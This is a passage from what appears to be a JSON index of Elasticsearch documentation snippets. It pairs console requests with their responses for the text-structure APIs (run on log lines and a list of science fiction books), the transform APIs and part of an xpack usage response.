\"[2024-03-05T10:52:41,059][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-eql]\",\n \"[2024-03-05T10:52:43,291][INFO ][o.e.e.NodeEnvironment ] [laptop] heap size [16gb], compressed ordinary object pointers [true]\",\n \"[2024-03-05T10:52:46,098][INFO ][o.e.x.s.Security ] [laptop] Security is enabled\",\n \"[2024-03-05T10:52:47,227][INFO ][o.e.x.p.ProfilingPlugin ] [laptop] Profiling is enabled\",\n \"[2024-03-05T10:52:47,259][INFO ][o.e.x.p.ProfilingPlugin ] [laptop] profiling index templates will not be installed or reinstalled\",\n \"[2024-03-05T10:52:47,755][INFO ][o.e.i.r.RecoverySettings ] [laptop] using rate limit [40mb] with [default=40mb, read=0b, write=0b, max=0b]\",\n \"[2024-03-05T10:52:47,787][INFO ][o.e.d.DiscoveryModule ] [laptop] using discovery type [multi-node] and seed hosts providers [settings]\",\n \"[2024-03-05T10:52:49,188][INFO ][o.e.n.Node ] [laptop] initialized\",\n \"[2024-03-05T10:52:49,199][INFO ][o.e.n.Node ] [laptop] starting ...\"\n ]\n}"}, {"source_location":{"file":"text-structure/apis/find-message-structure.asciidoc","line":121},"digest":"af6b324025a95de41ceca7a862a15c53","lang":"console-result","found":[],"source":"{\n \"num_lines_analyzed\" : 22,\n \"num_messages_analyzed\" : 22,\n \"sample_start\" : \"[2024-03-05T10:52:36,256][INFO ][o.a.l.u.VectorUtilPanamaProvider] [laptop] Java vector incubator API enabled; uses preferredBitSize=128\\n[2024-03-05T10:52:41,038][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-url]\\n\", <3>\n \"charset\" : \"UTF-8\",\n \"format\" : \"semi_structured_text\",\n \"multiline_start_pattern\" : \"^\\\\[\\\\b\\\\d{4}-\\\\d{2}-\\\\d{2}[T ]\\\\d{2}:\\\\d{2}\",\n \"grok_pattern\" : \"\\\\[%{TIMESTAMP_ISO8601:timestamp}\\\\]\\\\[%{LOGLEVEL:loglevel} \\\\]\\\\[.*\",\n \"ecs_compatibility\" : \"disabled\",\n \"timestamp_field\" : \"timestamp\",\n \"joda_timestamp_formats\" : [\n \"ISO8601\"\n ],\n \"java_timestamp_formats\" : [\n \"ISO8601\"\n ],\n \"need_client_timezone\" : true,\n \"mappings\" : {\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\"\n },\n \"loglevel\" : {\n \"type\" : \"keyword\"\n },\n \"message\" : {\n \"type\" : \"text\"\n }\n }\n },\n \"ingest_pipeline\" : {\n \"description\" : \"Ingest pipeline created by text structure finder\",\n \"processors\" : [\n {\n \"grok\" : {\n \"field\" : \"message\",\n \"patterns\" : [\n \"\\\\[%{TIMESTAMP_ISO8601:timestamp}\\\\]\\\\[%{LOGLEVEL:loglevel} \\\\]\\\\[.*\"\n ],\n \"ecs_compatibility\" : \"disabled\"\n }\n },\n {\n \"date\" : {\n \"field\" : \"timestamp\",\n \"timezone\" : \"{{ event.timezone }}\",\n \"formats\" : [\n \"ISO8601\"\n ]\n }\n },\n {\n \"remove\" : {\n \"field\" : \"timestamp\"\n }\n }\n ]\n },\n \"field_stats\" : {\n \"loglevel\" : {\n \"count\" : 22,\n \"cardinality\" : 1,\n \"top_hits\" : [\n {\n \"value\" : \"INFO\",\n \"count\" : 22\n }\n ]\n },\n \"message\" : {\n \"count\" : 22,\n \"cardinality\" : 22,\n \"top_hits\" : [\n {\n \"value\" : \"[2024-03-05T10:52:36,256][INFO ][o.a.l.u.VectorUtilPanamaProvider] [laptop] Java vector incubator API enabled; uses preferredBitSize=128\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,038][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-url]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,042][INFO ][o.e.p.PluginsService ] [laptop] loaded module [rest-root]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [ingest-user-agent]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-core]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-redact]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [lang-painless]]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-s3]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-analytics]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-autoscaling]\",\n \"count\" : 1\n }\n ]\n },\n \"timestamp\" : {\n \"count\" : 22,\n \"cardinality\" : 14,\n \"earliest\" : \"2024-03-05T10:52:36,256\",\n \"latest\" : \"2024-03-05T10:52:49,199\",\n \"top_hits\" : [\n {\n \"value\" : \"2024-03-05T10:52:41,044\",\n \"count\" : 6\n },\n {\n \"value\" : \"2024-03-05T10:52:41,043\",\n \"count\" : 3\n },\n {\n \"value\" : \"2024-03-05T10:52:41,059\",\n \"count\" : 2\n },\n {\n \"value\" : \"2024-03-05T10:52:36,256\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:41,038\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:41,042\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:43,291\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:46,098\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:47,227\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:47,259\",\n \"count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"text-structure/apis/find-structure.asciidoc","line":95},"digest":"d870d5bd1f97fc75872a298fcddec513","lang":"console","found":["ruby"],"source":"POST _text_structure/find_structure\n{\"name\": \"Leviathan Wakes\", \"author\": \"James S.A. Corey\", \"release_date\": \"2011-06-02\", \"page_count\": 561}\n{\"name\": \"Hyperion\", \"author\": \"Dan Simmons\", \"release_date\": \"1989-05-26\", \"page_count\": 482}\n{\"name\": \"Dune\", \"author\": \"Frank Herbert\", \"release_date\": \"1965-06-01\", \"page_count\": 604}\n{\"name\": \"Dune Messiah\", \"author\": \"Frank Herbert\", \"release_date\": \"1969-10-15\", \"page_count\": 331}\n{\"name\": \"Children of Dune\", \"author\": \"Frank Herbert\", \"release_date\": \"1976-04-21\", \"page_count\": 408}\n{\"name\": \"God Emperor of Dune\", \"author\": \"Frank Herbert\", \"release_date\": \"1981-05-28\", \"page_count\": 454}\n{\"name\": \"Consider Phlebas\", \"author\": \"Iain M. Banks\", \"release_date\": \"1987-04-23\", \"page_count\": 471}\n{\"name\": \"Pandora's Star\", \"author\": \"Peter F. Hamilton\", \"release_date\": \"2004-03-02\", \"page_count\": 768}\n{\"name\": \"Revelation Space\", \"author\": \"Alastair Reynolds\", \"release_date\": \"2000-03-15\", \"page_count\": 585}\n{\"name\": \"A Fire Upon the Deep\", \"author\": \"Vernor Vinge\", \"release_date\": \"1992-06-01\", \"page_count\": 613}\n{\"name\": \"Ender's Game\", \"author\": \"Orson Scott Card\", \"release_date\": \"1985-06-01\", \"page_count\": 324}\n{\"name\": \"1984\", \"author\": \"George Orwell\", \"release_date\": \"1985-06-01\", \"page_count\": 328}\n{\"name\": \"Fahrenheit 451\", \"author\": \"Ray Bradbury\", \"release_date\": \"1953-10-15\", \"page_count\": 227}\n{\"name\": \"Brave New World\", \"author\": \"Aldous Huxley\", \"release_date\": \"1932-06-01\", \"page_count\": 268}\n{\"name\": \"Foundation\", \"author\": \"Isaac Asimov\", \"release_date\": \"1951-06-01\", \"page_count\": 224}\n{\"name\": \"The Giver\", \"author\": \"Lois Lowry\", \"release_date\": \"1993-04-26\", \"page_count\": 208}\n{\"name\": \"Slaughterhouse-Five\", \"author\": \"Kurt Vonnegut\", \"release_date\": \"1969-06-01\", \"page_count\": 275}\n{\"name\": \"The Hitchhiker's Guide to the Galaxy\", \"author\": \"Douglas Adams\", \"release_date\": \"1979-10-12\", \"page_count\": 180}\n{\"name\": \"Snow Crash\", \"author\": \"Neal Stephenson\", \"release_date\": \"1992-06-01\", \"page_count\": 470}\n{\"name\": \"Neuromancer\", \"author\": \"William Gibson\", \"release_date\": \"1984-07-01\", \"page_count\": 271}\n{\"name\": \"The Handmaid's Tale\", \"author\": \"Margaret Atwood\", \"release_date\": \"1985-06-01\", \"page_count\": 311}\n{\"name\": \"Starship Troopers\", \"author\": \"Robert A. Heinlein\", \"release_date\": \"1959-12-01\", \"page_count\": 335}\n{\"name\": \"The Left Hand of Darkness\", \"author\": \"Ursula K. Le Guin\", \"release_date\": \"1969-06-01\", \"page_count\": 304}\n{\"name\": \"The Moon is a Harsh Mistress\", \"author\": \"Robert A. Heinlein\", \"release_date\": \"1966-04-01\", \"page_count\": 288}"}, {"source_location":{"file":"text-structure/apis/find-structure.asciidoc","line":127},"digest":"8bbd688c88c1a59e72d69b209b60f1ef","lang":"console-result","found":[],"source":"{\n \"num_lines_analyzed\" : 24, <1>\n \"num_messages_analyzed\" : 24, <2>\n \"sample_start\" : \"{\\\"name\\\": \\\"Leviathan Wakes\\\", \\\"author\\\": \\\"James S.A. Corey\\\", \\\"release_date\\\": \\\"2011-06-02\\\", \\\"page_count\\\": 561}\\n{\\\"name\\\": \\\"Hyperion\\\", \\\"author\\\": \\\"Dan Simmons\\\", \\\"release_date\\\": \\\"1989-05-26\\\", \\\"page_count\\\": 482}\\n\", <3>\n \"charset\" : \"UTF-8\", <4>\n \"has_byte_order_marker\" : false, <5>\n \"format\" : \"ndjson\", <6>\n \"ecs_compatibility\" : \"disabled\", <7>\n \"timestamp_field\" : \"release_date\", <8>\n \"joda_timestamp_formats\" : [ <9>\n \"ISO8601\"\n ],\n \"java_timestamp_formats\" : [ <10>\n \"ISO8601\"\n ],\n \"need_client_timezone\" : true, <11>\n \"mappings\" : { <12>\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\"\n },\n \"author\" : {\n \"type\" : \"keyword\"\n },\n \"name\" : {\n \"type\" : \"keyword\"\n },\n \"page_count\" : {\n \"type\" : \"long\"\n },\n \"release_date\" : {\n \"type\" : \"date\",\n \"format\" : \"iso8601\"\n }\n }\n },\n \"ingest_pipeline\" : {\n \"description\" : \"Ingest pipeline created by text structure finder\",\n \"processors\" : [\n {\n \"date\" : {\n \"field\" : \"release_date\",\n \"timezone\" : \"{{ event.timezone }}\",\n \"formats\" : [\n \"ISO8601\"\n ]\n }\n }\n ]\n },\n \"field_stats\" : { <13>\n \"author\" : {\n \"count\" : 24,\n \"cardinality\" : 20,\n \"top_hits\" : [\n {\n \"value\" : \"Frank Herbert\",\n \"count\" : 4\n },\n {\n \"value\" : \"Robert A. Heinlein\",\n \"count\" : 2\n },\n {\n \"value\" : \"Alastair Reynolds\",\n \"count\" : 1\n },\n {\n \"value\" : \"Aldous Huxley\",\n \"count\" : 1\n },\n {\n \"value\" : \"Dan Simmons\",\n \"count\" : 1\n },\n {\n \"value\" : \"Douglas Adams\",\n \"count\" : 1\n },\n {\n \"value\" : \"George Orwell\",\n \"count\" : 1\n },\n {\n \"value\" : \"Iain M. Banks\",\n \"count\" : 1\n },\n {\n \"value\" : \"Isaac Asimov\",\n \"count\" : 1\n },\n {\n \"value\" : \"James S.A. Corey\",\n \"count\" : 1\n }\n ]\n },\n \"name\" : {\n \"count\" : 24,\n \"cardinality\" : 24,\n \"top_hits\" : [\n {\n \"value\" : \"1984\",\n \"count\" : 1\n },\n {\n \"value\" : \"A Fire Upon the Deep\",\n \"count\" : 1\n },\n {\n \"value\" : \"Brave New World\",\n \"count\" : 1\n },\n {\n \"value\" : \"Children of Dune\",\n \"count\" : 1\n },\n {\n \"value\" : \"Consider Phlebas\",\n \"count\" : 1\n },\n {\n \"value\" : \"Dune\",\n \"count\" : 1\n },\n {\n \"value\" : \"Dune Messiah\",\n \"count\" : 1\n },\n {\n \"value\" : \"Ender's Game\",\n \"count\" : 1\n },\n {\n \"value\" : \"Fahrenheit 451\",\n \"count\" : 1\n },\n {\n \"value\" : \"Foundation\",\n \"count\" : 1\n }\n ]\n },\n \"page_count\" : {\n \"count\" : 24,\n \"cardinality\" : 24,\n \"min_value\" : 180,\n \"max_value\" : 768,\n \"mean_value\" : 387.0833333333333,\n \"median_value\" : 329.5,\n \"top_hits\" : [\n {\n \"value\" : 180,\n \"count\" : 1\n },\n {\n \"value\" : 208,\n \"count\" : 1\n },\n {\n \"value\" : 224,\n \"count\" : 1\n },\n {\n \"value\" : 227,\n \"count\" : 1\n },\n {\n \"value\" : 268,\n \"count\" : 1\n },\n {\n \"value\" : 271,\n \"count\" : 1\n },\n {\n \"value\" : 275,\n \"count\" : 1\n },\n {\n \"value\" : 288,\n \"count\" : 1\n },\n {\n \"value\" : 304,\n \"count\" : 1\n },\n {\n \"value\" : 311,\n \"count\" : 1\n }\n ]\n },\n \"release_date\" : {\n \"count\" : 24,\n \"cardinality\" : 20,\n \"earliest\" : \"1932-06-01\",\n \"latest\" : \"2011-06-02\",\n \"top_hits\" : [\n {\n \"value\" : \"1985-06-01\",\n \"count\" : 3\n },\n {\n \"value\" : \"1969-06-01\",\n \"count\" : 2\n },\n {\n \"value\" : \"1992-06-01\",\n \"count\" : 2\n },\n {\n \"value\" : \"1932-06-01\",\n \"count\" : 1\n },\n {\n \"value\" : \"1951-06-01\",\n \"count\" : 1\n },\n {\n \"value\" : \"1953-10-15\",\n \"count\" : 1\n },\n {\n \"value\" : \"1959-12-01\",\n \"count\" : 1\n },\n {\n \"value\" : \"1965-06-01\",\n \"count\" : 1\n },\n {\n \"value\" : \"1966-04-01\",\n \"count\" : 1\n },\n {\n \"value\" : \"1969-10-15\",\n \"count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"text-structure/apis/test-grok-pattern.asciidoc","line":54},"digest":"692606cc6d6462becc321d92961a3bac","lang":"console","found":[],"source":"GET _text_structure/test_grok_pattern\n{\n \"grok_pattern\": \"Hello %{WORD:first_name} %{WORD:last_name}\",\n \"text\": [\n \"Hello John Doe\",\n \"this does not match\"\n ]\n}"}, {"source_location":{"file":"text-structure/apis/test-grok-pattern.asciidoc","line":68},"digest":"992b98ec88ed1c59a1dcaa4affc9c308","lang":"console-result","found":[],"source":"{\n \"matches\": [\n {\n \"matched\": true,\n \"fields\": {\n \"first_name\": [\n {\n \"match\": \"John\",\n \"offset\": 6,\n \"length\": 4\n }\n ],\n \"last_name\": [\n {\n \"match\": \"Doe\",\n \"offset\": 11,\n \"length\": 3\n }\n ]\n }\n },\n {\n \"matched\": false\n }\n ]\n}"}, {"source_location":{"file":"transform/apis/put-transform.asciidoc","line":314},"digest":"58ca855be30049f8f0879e532db51ee2","lang":"console","found":[],"source":"PUT _transform/ecommerce_transform1\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\",\n \"query\": {\n \"term\": {\n \"geoip.continent_name\": {\n \"value\": \"Asia\"\n }\n }\n }\n },\n \"pivot\": {\n \"group_by\": {\n \"customer_id\": {\n \"terms\": {\n \"field\": \"customer_id\",\n \"missing_bucket\": true\n }\n }\n },\n \"aggregations\": {\n \"max_price\": {\n \"max\": {\n \"field\": \"taxful_total_price\"\n }\n }\n }\n },\n \"description\": \"Maximum priced ecommerce data by customer_id in Asia\",\n \"dest\": {\n \"index\": \"kibana_sample_data_ecommerce_transform1\",\n \"pipeline\": \"add_timestamp_pipeline\"\n },\n \"frequency\": \"5m\",\n \"sync\": {\n \"time\": {\n \"field\": \"order_date\",\n \"delay\": \"60s\"\n }\n },\n \"retention_policy\": {\n \"time\": {\n \"field\": \"order_date\",\n \"max_age\": \"30d\"\n }\n }\n}"}, {"source_location":{"file":"transform/apis/put-transform.asciidoc","line":369},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"transform/apis/put-transform.asciidoc","line":378},"digest":"7106e6317e6368b9863cf64df9c6f0c9","lang":"console","found":[],"source":"PUT _transform/ecommerce_transform2\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\"\n },\n \"latest\": {\n \"unique_key\": [\"customer_id\"],\n \"sort\": \"order_date\"\n },\n \"description\": \"Latest order for each customer\",\n \"dest\": {\n \"index\": \"kibana_sample_data_ecommerce_transform2\"\n },\n \"frequency\": \"5m\",\n \"sync\": {\n \"time\": {\n \"field\": \"order_date\",\n \"delay\": \"60s\"\n }\n }\n}"}, {"source_location":{"file":"transform/apis/delete-transform.asciidoc","line":53},"digest":"70c736ecb3746dbe839af0e468712805","lang":"console","found":["ruby"],"source":"DELETE _transform/ecommerce_transform"}, {"source_location":{"file":"transform/apis/delete-transform.asciidoc","line":61},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"transform/apis/get-transform.asciidoc","line":100},"digest":"c65b00a285f510dcd2865aa3539b4e03","lang":"console","found":["ruby"],"source":"GET _transform?size=10"}, {"source_location":{"file":"transform/apis/get-transform.asciidoc","line":109},"digest":"9129dec88d35571b3166c6677297f03b","lang":"console","found":["ruby"],"source":"GET _transform/ecommerce_transform1"}, {"source_location":{"file":"transform/apis/get-transform.asciidoc","line":117},"digest":"2b3c048be6744493dda5c022667f5b24","lang":"console-result","found":[],"source":"{\n \"count\" : 1,\n \"transforms\" : [\n {\n \"id\" : \"ecommerce_transform1\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"version\" : \"8.4.0\",\n \"create_time\" : 1656023416565,\n \"source\" : {\n \"index\" : [\n \"kibana_sample_data_ecommerce\"\n ],\n \"query\" : {\n \"term\" : {\n \"geoip.continent_name\" : {\n \"value\" : \"Asia\"\n }\n }\n }\n },\n \"dest\" : {\n \"index\" : \"kibana_sample_data_ecommerce_transform1\",\n \"pipeline\" : \"add_timestamp_pipeline\"\n },\n \"frequency\" : \"5m\",\n \"sync\" : {\n \"time\" : {\n \"field\" : \"order_date\",\n \"delay\" : \"60s\"\n }\n },\n \"pivot\" : {\n \"group_by\" : {\n \"customer_id\" : {\n \"terms\" : {\n \"field\" : \"customer_id\"\n }\n }\n },\n \"aggregations\" : {\n \"max_price\" : {\n \"max\" : {\n \"field\" : \"taxful_total_price\"\n }\n }\n }\n },\n \"description\" : \"Maximum priced ecommerce data by customer_id in Asia\",\n \"settings\" : { },\n \"retention_policy\" : {\n \"time\" : {\n \"field\" : \"order_date\",\n \"max_age\" : \"30d\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"transform/apis/get-transform-stats.asciidoc","line":322},"digest":"53c6256295111524d5ff2885bdcb99a9","lang":"console","found":["ruby"],"source":"GET _transform/_stats?from=5&size=10"}, {"source_location":{"file":"transform/apis/get-transform-stats.asciidoc","line":330},"digest":"0755471d7dce4785d2e7ed0c10182ea3","lang":"console","found":["ruby"],"source":"GET _transform/ecommerce-customer-transform/_stats"}, {"source_location":{"file":"transform/apis/get-transform-stats.asciidoc","line":338},"digest":"bd0107ca773e57e6accc153cc2571b26","lang":"console-result","found":[],"source":"{\n \"count\" : 1,\n \"transforms\" : [\n {\n \"id\" : \"ecommerce-customer-transform\",\n \"state\" : \"started\",\n \"node\" : {\n \"id\" : \"cpTIGMsVQ8Gqwqlxxxxxxx\",\n \"name\" : \"my.home\",\n \"ephemeral_id\" : \"5-L21nFsQxxxxxxxxxx-xx\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"attributes\" : { }\n },\n \"stats\" : {\n \"pages_processed\" : 78,\n \"documents_processed\" : 6027,\n \"documents_indexed\" : 68,\n \"documents_deleted\": 22,\n \"delete_time_in_ms\": 214,\n \"trigger_count\" : 168,\n \"index_time_in_ms\" : 412,\n \"index_total\" : 20,\n \"index_failures\" : 0,\n \"search_time_in_ms\" : 353,\n \"search_total\" : 78,\n \"search_failures\" : 0,\n \"processing_time_in_ms\" : 8,\n \"processing_total\" : 78,\n \"exponential_avg_checkpoint_duration_ms\" : 97.30637923893185,\n \"exponential_avg_documents_indexed\" : 2.2064915040974062,\n \"exponential_avg_documents_processed\" : 179.89419945785045\n },\n \"checkpointing\" : {\n \"last\" : {\n \"checkpoint\" : 20,\n \"timestamp_millis\" : 1585344558220,\n \"time_upper_bound_millis\" : 1585344498220\n },\n \"changes_last_detected_at\" : 1585344558219\n },\n \"health\": {\n \"status\": \"green\"\n }\n }\n ]\n}"}, {"source_location":{"file":"transform/apis/preview-transform.asciidoc","line":290},"digest":"c1ac9e53b04f7acee4b4933969d6b574","lang":"console","found":[],"source":"POST _transform/_preview\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\"\n },\n \"pivot\": {\n \"group_by\": {\n \"customer_id\": {\n \"terms\": {\n \"field\": \"customer_id\",\n \"missing_bucket\": true\n }\n }\n },\n \"aggregations\": {\n \"max_price\": {\n \"max\": {\n \"field\": \"taxful_total_price\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"transform/apis/reset-transform.asciidoc","line":61},"digest":"048652b6abfe195da8ea8cef10ee01b1","lang":"console","found":["ruby"],"source":"POST _transform/ecommerce_transform/_reset"}, {"source_location":{"file":"transform/apis/reset-transform.asciidoc","line":69},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"transform/apis/schedule-now-transform.asciidoc","line":52},"digest":"0fe74ccd098c742619805a7c0bd0fae6","lang":"console","found":["ruby"],"source":"POST _transform/ecommerce_transform/_schedule_now"}, {"source_location":{"file":"transform/apis/schedule-now-transform.asciidoc","line":60},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"transform/apis/start-transform.asciidoc","line":79},"digest":"01bc0f2ed30eb3dd23511d01ce0ac6e1","lang":"console","found":["ruby"],"source":"POST _transform/ecommerce_transform/_start"}, {"source_location":{"file":"transform/apis/start-transform.asciidoc","line":87},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"transform/apis/stop-transform.asciidoc","line":81},"digest":"654882f545eca8d7047695f867c63072","lang":"console","found":["ruby"],"source":"POST _transform/ecommerce_transform/_stop"}, {"source_location":{"file":"transform/apis/stop-transform.asciidoc","line":89},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"transform/apis/update-transform.asciidoc","line":257},"digest":"27384266370152add76471dd0332a2f1","lang":"console","found":["ruby"],"source":"POST _transform/simple-kibana-ecomm-pivot/_update\n{\n \"source\": {\n \"index\": \"kibana_sample_data_ecommerce\",\n \"query\": {\n \"term\": {\n \"geoip.continent_name\": {\n \"value\": \"Asia\"\n }\n }\n }\n },\n \"description\": \"Maximum priced ecommerce data by customer_id in Asia\",\n \"dest\": {\n \"index\": \"kibana_sample_data_ecommerce_transform_v2\",\n \"pipeline\": \"add_timestamp_pipeline\"\n },\n \"frequency\": \"15m\",\n \"sync\": {\n \"time\": {\n \"field\": \"order_date\",\n \"delay\": \"120s\"\n }\n }\n}"}, {"source_location":{"file":"transform/apis/update-transform.asciidoc","line":289},"digest":"4abdb4afb4c5c20485771393e3034698","lang":"console-result","found":[],"source":"{\n \"id\" : \"simple-kibana-ecomm-pivot\",\n \"authorization\" : {\n \"roles\" : [\n \"superuser\"\n ]\n },\n \"version\" : \"8.4.0\",\n \"create_time\" : 1656113450613,\n \"source\" : {\n \"index\" : [\n \"kibana_sample_data_ecommerce\"\n ],\n \"query\" : {\n \"term\" : {\n \"geoip.continent_name\" : {\n \"value\" : \"Asia\"\n }\n }\n }\n },\n \"dest\" : {\n \"index\" : \"kibana_sample_data_ecommerce_transform_v2\",\n \"pipeline\" : \"add_timestamp_pipeline\"\n },\n \"frequency\" : \"15m\",\n \"sync\" : {\n \"time\" : {\n \"field\" : \"order_date\",\n \"delay\" : \"120s\"\n }\n },\n \"pivot\" : {\n \"group_by\" : {\n \"customer_id\" : {\n \"terms\" : {\n \"field\" : \"customer_id\"\n }\n }\n },\n \"aggregations\" : {\n \"max_price\" : {\n \"max\" : {\n \"field\" : \"taxful_total_price\"\n }\n }\n }\n },\n \"description\" : \"Maximum priced ecommerce data by customer_id in Asia\",\n \"settings\" : { }\n}"}, {"source_location":{"file":"transform/apis/upgrade-transforms.asciidoc","line":97},"digest":"a2c3e284354e8d49cf51bb8dd5ef3613","lang":"console","found":["ruby"],"source":"POST _transform/_upgrade"}, {"source_location":{"file":"transform/apis/upgrade-transforms.asciidoc","line":105},"digest":"4fee12a023d234db0c373ea1a79c842d","lang":"console-result","found":[],"source":"{\n \"needs_update\": 0,\n \"updated\": 2,\n \"no_action\": 1\n}"}, {"source_location":{"file":"rest-api/usage.asciidoc","line":38},"digest":"43fe75fa9f3fca846598fdad58fd98cb","lang":"console","found":["ruby"],"source":"GET /_xpack/usage"}, {"source_location":{"file":"rest-api/usage.asciidoc","line":46},"digest":"9dea2199cc8a28103db7c44782e6abba","lang":"console-result","found":[],"source":"{\n \"security\" : {\n \"available\" : true,\n \"enabled\" : true,\n ...\n },\n \"monitoring\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"collection_enabled\" : false,\n \"enabled_exporters\" : {\n \"local\" : 1\n }\n },\n \"watcher\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"execution\" : {\n \"actions\" : {\n \"_all\" : {\n \"total\" : 0,\n \"total_time_in_ms\" : 0\n }\n }\n },\n \"watch\" : {\n \"input\" : {\n \"_all\" : {\n \"total\" : 0,\n \"active\" : 0\n }\n },\n \"trigger\" : {\n \"_all\" : {\n \"total\" : 0,\n \"active\" : 0\n }\n }\n },\n \"count\" : {\n \"total\" : 0,\n \"active\" : 0\n }\n },\n \"graph\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"ml\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"jobs\" : {\n \"_all\" : {\n \"count\" : 0,\n \"detectors\" : {\n ...\n },\n \"created_by\" : { },\n \"model_size\" : {\n ...\n },\n \"forecasts\" : {\n \"total\" : 0,\n \"forecasted_jobs\" : 0\n }\n }\n },\n \"datafeeds\" : {\n \"_all\" : {\n \"count\" : 0\n }\n },\n \"data_frame_analytics_jobs\" : {\n \"_all\" : {\n \"count\" : 0\n },\n \"analysis_counts\": { },\n \"memory_usage\": {\n \"peak_usage_bytes\": {\n \"min\": 0.0,\n \"max\": 0.0,\n \"avg\": 0.0,\n \"total\": 0.0\n }\n }\n },\n \"inference\" : {\n \"ingest_processors\" : {\n \"_all\" : {\n \"num_docs_processed\" : {\n \"max\" : 0,\n \"sum\" : 0,\n \"min\" : 0\n },\n \"pipelines\" : {\n \"count\" : 0\n },\n \"num_failures\" : {\n \"max\" : 0,\n \"sum\" : 0,\n \"min\" : 0\n },\n \"time_ms\" : {\n \"max\" : 0,\n \"sum\" : 0,\n \"min\" : 0\n }\n }\n },\n \"trained_models\" : {\n \"_all\" : {\n \"count\": 1\n },\n \"count\": {\n \"total\": 1,\n \"prepackaged\": 1,\n \"other\": 0\n },\n \"model_size_bytes\": {\n \"min\": 0.0,\n \"max\": 0.0,\n \"avg\": 0.0,\n \"total\": 0.0\n },\n \"estimated_operations\": {\n \"min\": 0.0,\n \"max\": 0.0,\n \"avg\": 0.0,\n \"total\": 0.0\n }\n },\n \"deployments\": {\n \"count\": 0,\n \"inference_counts\": {\n \"total\": 0.0,\n \"min\": 0.0,\n \"avg\": 0.0,\n \"max\": 0.0\n },\n \"stats_by_model\": [],\n \"model_sizes_bytes\": {\n \"total\": 0.0,\n \"min\": 0.0,\n \"avg\": 0.0,\n \"max\": 0.0\n },\n \"time_ms\": {\n \"avg\": 0.0\n }\n }\n },\n \"node_count\" : 1\n },\n \"inference\": {\n \"available\" : true,\n \"enabled\" : true,\n \"models\" : []\n },\n \"logstash\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"eql\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"esql\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"features\" : {\n \"eval\" : 0,\n \"stats\" : 0,\n \"dissect\": 0,\n \"grok\" : 0,\n \"limit\" : 0,\n \"where\" : 0,\n \"sort\" : 0,\n \"drop\" : 0,\n \"show\" : 0,\n \"rename\" : 0,\n \"mv_expand\" : 0,\n \"keep\" : 0,\n \"enrich\" : 0,\n \"from\" : 0,\n \"row\" : 0,\n \"meta\" : 0\n },\n \"queries\" : {\n \"rest\" : {\n \"total\" : 0,\n \"failed\" : 0\n },\n \"kibana\" : {\n \"total\" : 0,\n \"failed\" : 0\n },\n \"_all\" : {\n \"total\" : 0,\n \"failed\" : 0\n }\n }\n },\n \"sql\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"features\" : {\n \"having\" : 0,\n \"subselect\" : 0,\n \"limit\" : 0,\n \"orderby\" : 0,\n \"where\" : 0,\n \"join\" : 0,\n \"groupby\" : 0,\n \"command\" : 0,\n \"local\" : 0\n },\n \"queries\" : {\n \"rest\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 